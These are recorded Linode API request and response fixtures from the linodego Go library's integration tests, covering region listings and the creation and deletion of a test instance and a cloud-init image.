1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "24356" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-837hb70fb4qy","root_pass":"545$7Z)AA9sXKf,sXaf8^*W}jy((rk|96998De3YdYYw~cKZ{9,KB\u003c=84ki`uM7+","image":"linode/debian9","firewall_id":693368,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61877581, "label": "go-test-ins-837hb70fb4qy", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.208.15"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "841" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61877581/disks?page=1 method: GET response: body: '{"data": [{"id": 121429953, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088, "disk_encryption": "disabled"}, {"id": 121429954, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512, "disk_encryption": "disabled"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"disk_id":121429953,"label":"linodego-test-cloud-init","cloud_init":true,"tags":["test1","test2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: POST response: body: '{"id": "private/26428978", "label": "linodego-test-cloud-init", "description": "", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 25088, "created_by": "ychen123", "type": "manual", "tags": ["test1", "test2"], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "creating", "capabilities": ["cloud-init"], "regions": [], "total_size": 25088}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "413" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write,linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26428978 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61877581 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_CreateUpload.yaml000066400000000000000000000676311474652371000317770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, 